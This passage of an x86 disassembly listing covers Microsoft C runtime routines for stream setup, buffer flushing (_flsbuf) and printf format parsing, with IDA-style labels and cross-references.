		jmp	short loc_422A9E
; ---------------------------------------------------------------------------


loc_422A2D:				; CODE XREF: sub_422970+5Dj
		jmp	short loc_422A99
; ---------------------------------------------------------------------------


loc_422A2F:				; CODE XREF: sub_422970+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_418EF0
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4EFF88
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, dword_4EFF88
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_422A97
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4F1470	; InitializeCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4F1390	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax


loc_422A97:				; CODE XREF: sub_422970+EAj
		jmp	short loc_422A9E
; ---------------------------------------------------------------------------


loc_422A99:				; CODE XREF: sub_422970:loc_422A2Dj
		jmp	loc_422990
; ---------------------------------------------------------------------------


loc_422A9E:				; CODE XREF: sub_422970+32j
					; sub_422970+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_422ADF
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh


loc_422ADF:				; CODE XREF: sub_422970+132j
		push	2
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_422970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422AF0	proc near		; CODE XREF: sub_41B740+E5p
					; sub_41B910+E4p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi


loc_422AF9:				; CODE XREF: sub_422AF0+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_422B1D
		push	offset dword_437514
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422B1D
		int	3		; Trap to Debugger


loc_422B1D:				; CODE XREF: sub_422AF0+Dj
					; sub_422AF0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422AF9
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_422B4F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_422B65


loc_422B4F:				; CODE XREF: sub_422AF0+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_422D5D
; ---------------------------------------------------------------------------


loc_422B65:				; CODE XREF: sub_422AF0+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_422BBC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_422BA5
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_422BBC
; ---------------------------------------------------------------------------


loc_422BA5:				; CODE XREF: sub_422AF0+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_422D5D
; ---------------------------------------------------------------------------


loc_422BBC:				; CODE XREF: sub_422AF0+80j
					; sub_422AF0+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_422C2F
		cmp	[ebp+var_8], offset dword_451148
		jz	short loc_422C13
		cmp	[ebp+var_8], offset dword_451168
		jnz	short loc_422C23


loc_422C13:				; CODE XREF: sub_422AF0+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_42C930
		add	esp, 4
		test	eax, eax
		jnz	short loc_422C2F


loc_422C23:				; CODE XREF: sub_422AF0+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42C2C0
		add	esp, 4


loc_422C2F:				; CODE XREF: sub_422AF0+10Fj
					; sub_422AF0+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_422D1B


loc_422C43:				; CODE XREF: sub_422AF0+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_422C73
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422C73
		int	3		; Trap to Debugger


loc_422C73:				; CODE XREF: sub_422AF0+160j
					; sub_422AF0+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422C43
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_422CC6
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42BDF0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_422D0E
; ---------------------------------------------------------------------------


loc_422CC6:				; CODE XREF: sub_422AF0+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_422CE9
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_422CF0
; ---------------------------------------------------------------------------


loc_422CE9:				; CODE XREF: sub_422AF0+1DAj
		mov	[ebp+var_14], offset dword_451C50


loc_422CF0:				; CODE XREF: sub_422AF0+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_422D0E
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4292F0
		add	esp, 0Ch


loc_422D0E:				; CODE XREF: sub_422AF0+1D4j
					; sub_422AF0+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_422D39
; ---------------------------------------------------------------------------


loc_422D1B:				; CODE XREF: sub_422AF0+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42BDF0
		add	esp, 0Ch
		mov	[ebp+var_C], eax


loc_422D39:				; CODE XREF: sub_422AF0+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_422D55
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D5D
; ---------------------------------------------------------------------------


loc_422D55:				; CODE XREF: sub_422AF0+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_422D5D:				; CODE XREF: sub_422AF0+70j
					; sub_422AF0+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D70	proc near		; CODE XREF: sub_41B740+9Ap
					; sub_41B910+99p ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0


loc_422D94:				; CODE XREF: sub_422D70:loc_423982j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_423987
		cmp	[ebp+var_22C], 0
		jl	loc_423987
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_422DE6
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_422DE6
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+437FF8h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_422DF0
; ---------------------------------------------------------------------------


loc_422DE6:				; CODE XREF: sub_422D70+55j
					; sub_422D70+5Ej
		mov	[ebp+var_290], 0


loc_422DF0:				; CODE XREF: sub_422D70+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, byte_438018[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_423982
		mov	ecx, [ebp+var_294]
		jmp	off_423994[ecx*4]


loc_422E30:				; CODE XREF: sub_422D70+332j
					; DATA XREF: .nsp0:off_423994o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_422EAD
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_423AA0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx


loc_422E7E:				; CODE XREF: sub_422D70+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_422EA7
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422EA7
		int	3		; Trap to Debugger


loc_422EA7:				; CODE XREF: sub_422D70+114j
					; sub_422D70+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422E7E


loc_422EAD:				; CODE XREF: sub_422D70+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_423AA0
		add	esp, 0Ch
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_422ECA:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:00423998o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_422F0C:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:0042399Co
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_422F76
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_4239CC[ecx]
		jmp	off_4239B4[eax*4]


loc_422F43:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239C0o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_422F76
; ---------------------------------------------------------------------------


loc_422F4E:				; CODE XREF: sub_422D70+B9j
					; sub_422D70+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_422F76
; ---------------------------------------------------------------------------


loc_422F58:				; CODE XREF: sub_422D70+B9j
					; sub_422D70+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_422F76
; ---------------------------------------------------------------------------


loc_422F63:				; CODE XREF: sub_422D70+B9j
					; sub_422D70+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_422F76
; ---------------------------------------------------------------------------


loc_422F6E:				; CODE XREF: sub_422D70+B9j
					; sub_422D70+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_422F76:				; CODE XREF: sub_422D70+B9j
					; sub_422D70+1BCj ...
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_422F7B:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239A0o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_422FB7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_422FB5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx


loc_422FB5:				; CODE XREF: sub_422D70+22Dj
		jmp	short loc_422FCE
; ---------------------------------------------------------------------------


loc_422FB7:				; CODE XREF: sub_422D70+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx


loc_422FCE:				; CODE XREF: sub_422D70:loc_422FB5j
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_422FD3:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239A4o
		mov	[ebp+var_234], 0
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_422FE2:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239A8o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_423012
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_423010
		mov	[ebp+var_234], 0FFFFFFFFh


loc_423010:				; CODE XREF: sub_422D70+294j
		jmp	short loc_423029
; ---------------------------------------------------------------------------


loc_423012:				; CODE XREF: sub_422D70+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax


loc_423029:				; CODE XREF: sub_422D70:loc_423010j
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_42302E:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239ACo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_4230BC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, byte_4239F1[ecx]
		jmp	off_4239DD[eax*4]


loc_423065:				; DATA XREF: .nsp0:004239E5o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_4230BC
; ---------------------------------------------------------------------------


loc_423070:				; CODE XREF: sub_422D70+2EEj
					; DATA XREF: .nsp0:off_4239DDo
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_42309B
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_42309B
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_4230A7
; ---------------------------------------------------------------------------


loc_42309B:				; CODE XREF: sub_422D70+309j
					; sub_422D70+315j
		mov	[ebp+var_18], 0
		jmp	loc_422E30
; ---------------------------------------------------------------------------


loc_4230A7:				; CODE XREF: sub_422D70+329j
		jmp	short loc_4230BC
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422D70+2EEj
					; DATA XREF: .nsp0:004239E1o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_4230BC
; ---------------------------------------------------------------------------


loc_4230B3:				; CODE XREF: sub_422D70+2EEj
					; DATA XREF: .nsp0:004239E9o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_4230BC:				; CODE XREF: sub_422D70+2DEj
					; sub_422D70+2EEj ...
		jmp	loc_423982
; ---------------------------------------------------------------------------


loc_4230C1:				; CODE XREF: sub_422D70+B9j
					; DATA XREF: .nsp0:004239B0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_4237A7
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, byte_423A5C[edx]
		jmp	off_423A20[ecx*4]


loc_4230FC:				; DATA XREF: .nsp0:off_423A20o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_423111
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_423111:				; CODE XREF: sub_422D70+385j
					; sub_422D70+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_423157
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_423BF0
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_42C970
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_423155
		mov	[ebp+var_23C], 1


loc_423155:				; CODE XREF: sub_422D70+3D9j
		jmp	short loc_42317D
; ---------------------------------------------------------------------------


loc_423157:				; CODE XREF: sub_422D70+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1


loc_42317D:				; CODE XREF: sub_422D70:loc_423155j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_4237A7
; ---------------------------------------------------------------------------


loc_42318B:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A30o
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_4231B2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4231CC


loc_4231B2:				; CODE XREF: sub_422D70+434j
		mov	edx, off_4516B4
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_42321B
; ---------------------------------------------------------------------------


loc_4231CC:				; CODE XREF: sub_422D70+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_4231FC
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42321B
; ---------------------------------------------------------------------------


loc_4231FC:				; CODE XREF: sub_422D70+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax


loc_42321B:				; CODE XREF: sub_422D70+45Aj
					; sub_422D70+48Aj
		jmp	loc_4237A7
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A28o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_423236
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx


loc_423236:				; CODE XREF: sub_422D70+385j
					; sub_422D70+4BBj
					; DATA XREF: ...
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_42324B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_423257
; ---------------------------------------------------------------------------


loc_42324B:				; CODE XREF: sub_422D70+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax


loc_423257:				; CODE XREF: sub_422D70+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_4232E6
		cmp	[ebp+var_20], 0
		jnz	short loc_42328D
		mov	ecx, off_4516B8
		mov	[ebp+var_20], ecx


loc_42328D:				; CODE XREF: sub_422D70+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx


loc_42329D:				; CODE XREF: sub_422D70+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_4232D6
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_4232D6
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_42329D
; ---------------------------------------------------------------------------


loc_4232D6:				; CODE XREF: sub_422D70+544j
					; sub_422D70+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_423340
; ---------------------------------------------------------------------------


loc_4232E6:				; CODE XREF: sub_422D70+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_4232F4
		mov	eax, off_4516B4
		mov	[ebp+var_20], eax


loc_4232F4:				; CODE XREF: sub_422D70+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx


loc_4232FD:				; CODE XREF: sub_422D70+5C2j
		mov	edx, [ebp+var_258]
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_423334
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_423334
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_4232FD
; ---------------------------------------------------------------------------


loc_423334:				; CODE XREF: sub_422D70+5A4j
					; sub_422D70+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_423340:				; CODE XREF: sub_422D70+574j
		jmp	loc_4237A7
; ---------------------------------------------------------------------------


loc_423345:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A40o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_423BB0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_423373
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_423381
; ---------------------------------------------------------------------------


loc_423373:				; CODE XREF: sub_422D70+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx


loc_423381:				; CODE XREF: sub_422D70+601j
		mov	[ebp+var_23C], 1
		jmp	loc_4237A7
; ---------------------------------------------------------------------------


loc_423390:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A24o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl


loc_4233A0:				; CODE XREF: sub_422D70+385j
					; DATA XREF: .nsp0:00423A3Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_4233C6
		mov	[ebp+var_234], 6
		jmp	short loc_4233E2
; ---------------------------------------------------------------------------


loc_4233C6:				; CODE XREF: sub_422D70+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_4233E2
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_4233E2
		mov	[ebp+var_234], 1


loc_4233E2:				; CODE XREF: sub_422D70+654j
					; sub_422D70+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
